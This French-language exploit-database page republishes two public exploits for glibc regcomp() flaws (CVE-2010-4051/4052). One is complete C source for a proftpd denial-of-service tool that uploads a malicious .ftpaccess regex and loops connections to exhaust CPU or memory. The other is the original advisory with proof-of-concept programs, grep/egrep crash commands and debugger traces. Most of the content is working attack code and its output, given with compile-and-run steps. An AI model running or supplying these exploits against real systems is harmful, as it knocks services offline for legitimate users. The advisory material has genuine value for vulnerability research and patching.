Exploit matérialisé
CVE-2010-4052
MEDIUM2 exploit(s) public(s) pour cette CVE, 2 matérialisé(s) avec leur code.
À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
ExploitDB
dos linux Vérifié
Source
GNU glibc - 'regcomp()' Stack Exhaustion Denial of Service
Par Maksymilian Arciemowicz
Comment tester cet exploit
Déni de service : envoie une entrée malformée pour crasher le service. À tester en VM isolée, l'effet est destructif.
gcc 35061.c -o exploit && ./exploit
Code c
// source: https://www.securityfocus.com/bid/45233/info
GNU glibc is prone to a denial-of-service vulnerability due to stack exhaustion.
Successful exploits will allow attackers to make the affected computer unresponsive, denying service to legitimate users.
This issue affects unknown versions of the glibc library. This BID will be updated when more details become available.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
/*
proftpd multiple exploit for VU#912279 (only with GNU libc/regcomp(3))
by Maksymilian Arciemowicz
References:
http://www.kb.cert.org/vuls/id/912279
http://cxib.net/
http://securityreason.com/
Tested:
Ubuntu + proftpd
This exploit need writing privileges to create .ftpaccess file with vulnerable regular expressions. Works well only under Linux
172.16.124.1 - NetBSD 5.1 (HACKER)
172.16.124.134 - Ubuntu 10.10 (TARGET)
PoC1:
.exitcx@cx64:~/advs/done$ ./reg1 172.16.124.134 21 cx password 172.16.124.1 1
Try create .ftpaccess with HideFiles "(\.ftpaccess|(.*{10,}{10,}{10,}{10,}))$"
...
send: stat .
send: USER cx
PASS password
send: stat .
Can`t connect
.exit
cx@cx64:~/advs/done$ telnet 172.16.124.134 21
Trying 172.16.124.134...
telnet: Unable to connect to remote host: Connection refused
Resume:
- created .ftpaccess file, and connect<=>disconnect
It will create a lot of proftpd children with 100% CPU usage.
If we try
./reg1 172.16.124.134 21 cx password 172.16.124.1 3
any proftpd children will generate memory exhausion
Options:
1 - cpu resource exhausion
2 - crash (recursion)
3 - memory resource exhausion
4 - possible crash with (ulimit {-v|-m})
*/
char expl0[]="HideFiles \"(\\.ftpaccess|(.*{10,}{10,}{10,}{10,}))$\""; //CVE-2010-4052 Long execution
char expl1[]="HideFiles \"(\\.ftpaccess|(.*{10,}{10,}{10,}{10,}{10,}))$\""; //CVE-2010-4051 Crash
char expl2[]="HideFiles \"(.*+++++++++++++++++++++++++++++(\\w+))\""; // memory exhausion
char expl3[]="HideFiles \"(.*++++++++++++++++++++++++++++++(\\w+))\""; // if virtual memory limited, crash
int sendftp(int stream,char *what){
if(-1==send(stream,what,strlen(what),0))
printf("Can't send %s\n",what);
else
printf("send: %s\n",what);
bzero(what,sizeof(what));
}
void readftp(int stream,int flag){
if(flag==1) flag=MSG_DONTWAIT;
else flag=0;
char *readline=malloc(sizeof(char)*(4096+1));
memset(readline,'\x00',(4096+1));
if(recv(stream,readline,4096,flag)<1){
printf("Can't read from stream\n");
if(readline) free(readline);
close(stream);
exit(1);
}
else{
if(readline)
write(1, readline, strlen(readline));
fflush(stdout);
}
free(readline);
}
int attack(host,port,login,pass)
char *host,*port,*login,*pass;
{
char buffer[1024]; // send ftp command buffor
int sockfd,n,error;
struct addrinfo hints;
struct addrinfo *res, *res0;
memset(&hints, 0, sizeof(hints));
hints.ai_family = PF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
error = getaddrinfo(host,port,&hints,&res0);
if (error){
errorcon:
printf("Can`t connect\n.exit");
exit(1);
}
if((sockfd=socket(res0->ai_family,res0->ai_socktype,res0->ai_protocol))<0) goto errorcon;
if(-1==connect(sockfd,res0->ai_addr,res0->ai_addrlen)) goto errorcon;
snprintf(buffer,1024,"USER %s\nPASS %s\n",login,pass);
sendftp(sockfd,buffer);
bzero(buffer,1024);
snprintf(buffer,1024,"STAT .\n");
sendftp(sockfd,buffer);
freeaddrinfo(res0);
close(sockfd);
}
void exploreip(char *ip, int (*ipnum)[4]){
char *wsk;
wsk=(char *)strtok(ip,".");
(*ipnum)[0]=atoi(wsk);
wsk=(char *)strtok(NULL,".");
(*ipnum)[1]=atoi(wsk);
wsk=(char *)strtok(NULL,".");
(*ipnum)[2]=atoi(wsk);
wsk=(char *)strtok(NULL,".");
(*ipnum)[3]=atoi(wsk);
}
int createexpl(host,port,login,pass,lip,pattern)
char *host,*port,*login,*pass,*lip,*pattern;
{
char buffer[1024]; // send ftp command buffor
int ipnum[4];
int sockfd,n,error,sendstream,binarystream,sendport = (1024 + getpid());
struct addrinfo hints;
struct addrinfo *res, *res0;
struct sockaddr_in remo, loca;
int len = sizeof(remo);
memset(&hints, 0, sizeof(hints));
hints.ai_family = PF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
error = getaddrinfo(host,port,&hints,&res0);
if (error){
errorcon:
if(sendstream) close(sendstream);
printf("Can`t connect\n.exit");
exit(1);
}
if((sockfd=socket(res0->ai_family,res0->ai_socktype, res0->ai_protocol))<0) goto errorcon;
if(-1==connect(sockfd,res0->ai_addr,res0->ai_addrlen)) goto errorcon;
readftp(sockfd,1024);
snprintf(buffer,1024,"USER %s\nPASS %s\n",login,pass);
sendftp(sockfd,buffer);
readftp(sockfd,1024);
readftp(sockfd,1024);
exploreip(lip,&ipnum);
snprintf(buffer,1024,"TYPE I\nPORT %d,%d,%d,%d,%d,%d\n",ipnum[0],ipnum[1],ipnum[2],ipnum[3],sendport/256,sendport%256);
sendftp(sockfd,buffer);
readftp(sockfd,1024);
bzero(&loca, sizeof(loca));
loca.sin_family = AF_INET;
loca.sin_port=htons(sendport);
loca.sin_addr.s_addr = htonl(INADDR_ANY);
if((sendstream=socket(AF_INET, SOCK_STREAM,0))<0) goto errorcon;
if((bind(sendstream, (struct sockaddr *) &loca, sizeof(loca)))<0) goto errorcon;
if(listen(sendstream, 10) < 0) goto errorcon;
snprintf(buffer,1024,"STOR .ftpaccess\n");
sendftp(sockfd,buffer);
readftp(sockfd,1024);
if((binarystream=accept(sendstream,(struct sockaddr *)&remo,&len)) < 0) goto errorcon;
write(binarystream,pattern,strlen(pattern));
freeaddrinfo(res0);
close(sendstream);
printf("Created .ftpaccess file with %s\nIt`s time to attack...\n",pattern);
sleep(3);
return 0;
}
void usage(){
printf("Use: ./exploit target_ip port username password [your_ip] [option]\n\nCreate .ftpaccess with selected attack\noptions:\n1 - Long execution CVE-2010-4052\n2 - Recursion Crash CVE-2010-4051\n3 - Memory exhausion \n4 - Crash if virtual memory limited\n\n");
exit(1);
}
int main(int argc,char *argv[])
{
char *login,*pass,*lip=NULL;
char logindef[]="anonymous",passdef[]="cx@127.0.0.1";
printf("This is exploit for ERE (GNU libc)\nby Maksymilian Arciemowicz\n\n");
if(argc<3) usage();
char *host=argv[1];
char *port=argv[2];
if(4<=argc) login=argv[3];
else login=logindef;
if(5<=argc) pass=argv[4];
else pass=passdef;
if(6<=argc) lip=argv[5];
if(7<=argc) switch(atoi(argv[6])){
case 1:
printf("Try create .ftpaccess with %s\n\n",expl0);
createexpl(host,port,login,pass,lip,expl0);
break;
case 2:
printf("Try create .ftpaccess with %s\n\n",expl1);
createexpl(host,port,login,pass,lip,expl1);
break;
case 3:
printf("Try create .ftpaccess with %s\n\n",expl2);
createexpl(host,port,login,pass,lip,expl2);
break;
case 4:
printf("Try create .ftpaccess with %s\n\n",expl3);
createexpl(host,port,login,pass,lip,expl3);
break;
default:
usage();
break;
};
while(1) attack(host,port,login,pass);
return 0; // never happen
}
ExploitDB
dos linux
Source
GNU libc/regcomp(3) - Multiple Vulnerabilities
Par Maksymilian Arciemowicz
Comment tester cet exploit
Déni de service : envoie une entrée malformée pour crasher le service. À tester en VM isolée, l'effet est destructif.
gcc 15935.c -o exploit && ./exploit
Code c
// source: http://securityreason.com/securityalert/8003
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
[ GNU libc/regcomp(3) Multiple Vulnerabilities ]
Author: Maksymilian Arciemowicz
http://securityreason.com/
http://cxib.net/
Date:
- - Dis.: 01.10.2010
- - Pub.: 07.01.2011
CERT: VU#912279
CVE:
CVE-2010-4051
CVE-2010-4052
Affected (tested):
- - Ubuntu 10.10
- - Slackware 13
- - Gentoo 18.10.2010
- - FreeBSD 8.1 (grep(1))
- - NetBSD 5.0.2 (grep(1))
Original URL:
http://securityreason.com/achievement_securityalert/93
Exploit for proftpd:
http://cxib.net/stuff/proftpd.gnu.c
- --- 0.Description ---
The GNU C library is used as the C library in the GNU system and most
systems with the Linux kernel.
# define RE_DUP_MAX (0x7fff)
regcomp() is used to compile a regular expression into a form that is
suitable for subsequent regexec() searches.
- --- 1. RE_DUP_MAX overflow ---
The main problem exists in regcomp(3) function of GNU libc implementation.
Let`s try understand..
- ---
int
regcomp (preg, pattern, cflags)
regex_t *__restrict preg;
const char *__restrict pattern;
int cflags;
{
- ---
if we use '{', token type will be OP_OPEN_DUP_NUM.
- ---
/* This function parse repetition operators like "*", "+", "{1,3}" etc.
*/
static bin_tree_t *
parse_dup_op (bin_tree_t *elem, re_string_t *regexp, re_dfa_t *dfa,
re_token_t *token, reg_syntax_t syntax, reg_errcode_t *err)
{
bin_tree_t *tree = NULL, *old_tree = NULL;
int i, start, end, start_idx = re_string_cur_idx (regexp);
re_token_t start_token = *token;
if (token->type == OP_OPEN_DUP_NUM)
{
end = 0;
start = fetch_number (regexp, token, syntax); <===== CONVERT VALUE
- ---
let`s see fetch_number =>
- ---
static int
fetch_number (re_string_t *input, re_token_t *token, reg_syntax_t syntax)
{
int num = -1;
unsigned char c;
while (1)
{
fetch_token (token, input, syntax);
c = token->opr.c;
if (BE (token->type == END_OF_RE, 0))
return -2;
if (token->type == OP_CLOSE_DUP_NUM || c == ',')
break;
num = ((token->type != CHARACTER || c < '0' || '9' < c || num == -2)
? -2 : ((num == -1) ? c - '0' : num * 10 + c - '0'));
num = (num > RE_DUP_MAX) ? -2 : num;
}
return num;
}
- ---
now see regex.h to know, what value have RE_DUP_MAX
- ---
/* Maximum number of duplicates an interval can allow. Some systems
(erroneously) define this in other header files, but we want our
value, so remove any previous define. */
# ifdef RE_DUP_MAX
# undef RE_DUP_MAX
# endif
/* If sizeof(int) == 2, then ((1 << 15) - 1) overflows. */
# define RE_DUP_MAX (0x7fff)
#endif
- ---
calc_eclosure_iter() will call to calc_eclosure_iter() match time. and
crash in malloc(3). Simple Recursion.
so we can't use value bigger 0x7fff in {n,}. regcomp(3) should return ERROR
if we use more that one time '{' token.
They are many vectors attack
grep(1):
cx@cx64:~$ ls |grep -E ".*{10,}{10,}{10,}{10,}{10,}"
Segmentation fault
pgrep(1):
cx@cx64:~$ pgrep ".*{10,}{10,}{10,}{10,}{10,}"
Segmentation fault
bregex from bacula-director-common
cx@cx64:~$ bregex -f glob-0day.c
Enter regex pattern: .*{10,}{10,}{10,}{10,}{10,}
Segmentation fault
whatis(1):
cx@cx64:~$ whatis -r ".*{10,}{10,}{10,}{10,}{10,}"
Segmentation fault
and more like proftpd.
Simple crash for CVE-2010-4051
(gdb) x/i $rip
=> 0x7ffff7ad3ea2: mov %eax,0x50(%rsp)
(gdb) x/i $eax
0x2: Cannot access memory at address 0x2
(gdb) x/i $rsp
0x7fffff5fef90: Cannot access memory at address 0x7fffff5fef90
(gdb) x/i 0x50($rsp)
Cannot access memory at address 0x7fffff5fef08
#0 0x00007ffff7ad3ea2 in ?? () from /lib/libc.so.6
#1 0x00007ffff7ad538e in malloc () from /lib/libc.so.6
#2 0x00007ffff7b17d9b in ?? () from /lib/libc.so.6
#3 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
#4 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
#5 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
#6 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
#7 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
...
- ---PoC1---
#include <regex.h>
int main(){
regex_t preg;
// char fmt[]=".*{10,}{10,}{10,}{10,}"; // CVE-2010-4052
char fmt[]=".*{10,}{10,}{10,}{10,}{10,}"; CVE-2010-4051
regcomp (&preg, fmt, REG_EXTENDED);
return 0;
}
- ---PoC1---
- --- 2. Stack Exhausion ---
This issue, may be also use to Denial of Service by stack exhausion
#ls |grep -E ".*{10,}{10,}{111111,}"
- ---PoC2---
#include <regex.h>
int
main ()
{
regex_t preg;
char fmt[]=".*{10,}{10,}{10,}{10,}"; // CVE-2010-4052
// char fmt[]=".*{10,}{10,}{10,}{10,}{10,}"; // CVE-2010-4051
regcomp (&preg, fmt, REG_EXTENDED);
return 0;
}
- ---PoC2---
Such a pattern may lead to allocate a large memory area, or large execution
time
As we can read in vsftpd/HACKING
- ---
- do not use libc features that are "complicated"
and may contain security holes. For example, you probably shouldn't
try to use regcomp() to compile an untrusted regular expression.
Regular expressions are just too complicated, and there are many
different libc's out there.
- ---
That's true. But the worst implementation of lib C is GNU. There is a huge
difference using proftpd on NetBSD and Linux
- --- 3. Stack Exhausions ---
Stack Exhausions was found in GNU glibc.
- ---PoC3---
/bin/egrep "/(.*+++++++++++++++++++++++++++++(\w+))/im" cx
- ---PoC3---
when more '+' that more allocated memory. But let's see next one
- ---PoC4---
cx@cx64:~$ ulimit -m 100000
cx@cx64:~$ ulimit -v 200000
cx@cx64:~$ /bin/egrep "/(.*+++++++++++++++++++++++++++++(\w+))/im" cx
Segmentation fault
cx@cx64:~$
- ---PoC4---
the same command like in PoC 3, fails.
(gdb) r "/(.*++++++++++++++++++(\w+))/im" cx
Starting program: /bin/egrep "/(.*++++++++++++++++++(\w+))/im" cx
/bin/egrep: Memory exhausted
Add one "+" more
Program exited with code 02.
(gdb) r "/(.*+++++++++++++++++++(\w+))/im" cx
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /bin/egrep "/(.*+++++++++++++++++++(\w+))/im" cx
Program received signal SIGSEGV, Segmentation fault.
__libc_free (mem=0x7ffff720a010) at malloc.c:3709
3709 if (chunk_is_mmapped(p)) /* release mmapped
memory. */
(gdb) bt
#0 __libc_free (mem=0x7ffff720a010) at malloc.c:3709
#1 0x00007ffff7913431 in free_dfa_content (dfa=0x61f0c0) at regcomp.c:600
#2 0x00007ffff7924e1c in re_compile_internal (preg=0x61f060, pattern=0x0,
length=140737488347176, syntax=<value optimized out>) at regcomp.c:823
#3 0x00007ffff79256de in __re_compile_pattern (pattern=0x0,
length=<value optimized out>, bufp=0x7ffff720a010) at regcomp.c:231
- ---malloc.c---
...
if (mem == 0) /* free(0) has no effect */
return;
p = mem2chunk(mem);
#if HAVE_MMAP
if (chunk_is_mmapped(p))
...
- ---malloc.c---
where
#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))
mem variable (mem=0x7ffff720a010)
(gdb) x/x 0x7ffff720a010
0x7ffff720a010: 0x00
or
(gdb) x/x 0x7ffff720a010
0x7ffff720a010: Cannot access memory at address 0x7ffff720a010
(gdb) x/i $rip
=> 0x7ffff78d2c2d <__libc_free+29>: mov -0x8(%rdi),%rsi
(gdb) x/i $rdi
0x7ffff7ed3010: Cannot access memory at address 0x7ffff7ed3010
(gdb) x/i $rsi
0x0: Cannot access memory at address 0x0
or check this
(gdb) r "/(.*+++++++++++++++++++(\w+))/im" cx
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /bin/egrep "/(.*+++++++++++++++++++(\w+))/im" cx
Program received signal SIGSEGV, Segmentation fault.
parse_dup_op (regexp=0x7fffffffdf70, preg=<value optimized out>,
token=0x7fffffffe010, syntax=<value optimized out>,
nest=<value optimized out>, err=<value optimized out>) at
regcomp.c:2547
2547 if (elem->token.type == SUBEXP)
(gdb) x/i $rip
=> 0x7ffff7922644 <parse_expression+756>: cmpb $0x11,0x30(%r15)
(gdb) x/i $r15
0x0: Cannot access memory at address 0x0
rax 0x0 0
rbx 0x61f0c0 6418624
rcx 0xffffffffffffffa8 -88
rdx 0x0 0
rsi 0x61f0c0 6418624
rdi 0x0 0
rbp 0x7fffffffe010 0x7fffffffe010
rsp 0x7fffffffdb70 0x7fffffffdb70
r8 0xffffffff 4294967295
r9 0x0 0
r10 0x4022 16418
r11 0x246 582
r12 0x7fffffffdf70 140737488346992
r13 0x4730ae8 74648296
r14 0xffffffff 4294967295
r15 0x0 0
rip 0x7ffff7922644 0x7ffff7922644 <parse_expression+756>
#0 parse_dup_op (regexp=0x7fffffffdf70, preg=<value optimized out>,
token=0x7fffffffe010, syntax=<value optimized out>,
nest=<value optimized out>, err=<value optimized out>) at
regcomp.c:2547
#1 parse_expression (regexp=0x7fffffffdf70, preg=<value optimized out>,
token=0x7fffffffe010, syntax=<value optimized out>,
nest=<value optimized out>, err=<value optimized out>) at
regcomp.c:2390
#2 0x00007ffff792387e in parse_branch (regexp=0x0, preg=0x61f0c0,
token=0x0,
syntax=18446744073709551528, nest=-1, err=0x0) at regcomp.c:2163
#3 parse_reg_exp (regexp=0x0, preg=0x61f0c0, token=0x0,
syntax=18446744073709551528, nest=-1, err=0x0) at regcomp.c:2122
if (BE (start > 0, 0))
{
tree = elem;
for (i = 2; i <= start; ++i)
{
elem = duplicate_tree (elem, dfa);
tree = create_tree (dfa, tree, elem, CONCAT);
if (BE (elem == NULL || tree == NULL, 0))
goto parse_dup_op_espace;
}
if (start == end)
return tree;
/* Duplicate ELEM before it is marked optional. */
elem = duplicate_tree (elem, dfa);
old_tree = tree;
}
else
old_tree = NULL;
if (elem->token.type == SUBEXP) <=CRASH HERE
These vulnerabilities are not really dangerous. However, there is the
possibility to use the DoS attack. An example might be an exploit for
proftpd. Option 3 allows to exhaustion avaliable memory. In my opinion, the
GNU should fix the problem.
- --- 4. Exploit ---
proftpd/linux:
http://cxib.net/stuff/proftpd.gnu.c
- --- 5. Greets ---
Christos Zoulas, US-CERT, sp3x, Infospec
- --- 6. Contact ---
Author: SecurityReason.com [ Maksymilian Arciemowicz ]
Email:
- - cxib {a\./t] securityreason [d=t} com
GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com/
http://cxib.net/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)
iQIcBAEBAgAGBQJNJk7rAAoJEIO8+dzW5bUwQ/YP/1G4nXltaUdMrdoUu39DM+WJ
c3f+klSObS/1cDmzBOUte8ddiDdAVbU5yUvjkXkjWwMmxyPregxQxF85iUQ19UIP
Pekvo5iuI2Uh5hpWQiTxxHiTqEsGeP9XzKz9uLxQPijicD6vjovg8MkS9xEdg6ID
Q1KW+7tlWY7xgGXTqZux9Y4CsMXqIaWhZlIPJjXDIEipe6HzsKZ0UmRPGEuJGSOh
0tX8Om6PenFk8XOQSp20HMbK/W2qpc1hPAJ3/mrFO+uPF+8scpw413uhjwiSXOUj
HUWE/iioFHRuX9eb2mwDuPKNe32OgLPRpcz1nITQVrOXTyfnwUtPrQeRu6h8Dpv7
RGQtD2GdKknDpkfbUcw0/EHMSbWaJdOWZfFdDAl+rEhS8AwPNK2NJb+7LJ6AQmsM
VCrJPP5eM1XM9jsQT9tvhyOunvw/HMoH/k+GP34p+FiKDIYI1LF3Gxj/w53gUK3F
nYLzmoahnqC4WdfUfZizf24PXmH+385JoStrpC4Emn1kuFrM9i/eXQ3xI9My0OXJ
PFHmVCFx/4iXSi/YNcShZellwi60kFe2OvfJ8BYtG15H+xr0djznLhMqbr2YMisJ
066WWpfe1hTTJezLjbM8Sa9NnufXnEV+jWUocQ+dsSa2Tecn8DrsGor0Yd6UR6in
s6+OIVFddtIZrQ6dw+Kk
=kcIG
-----END PGP SIGNATURE-----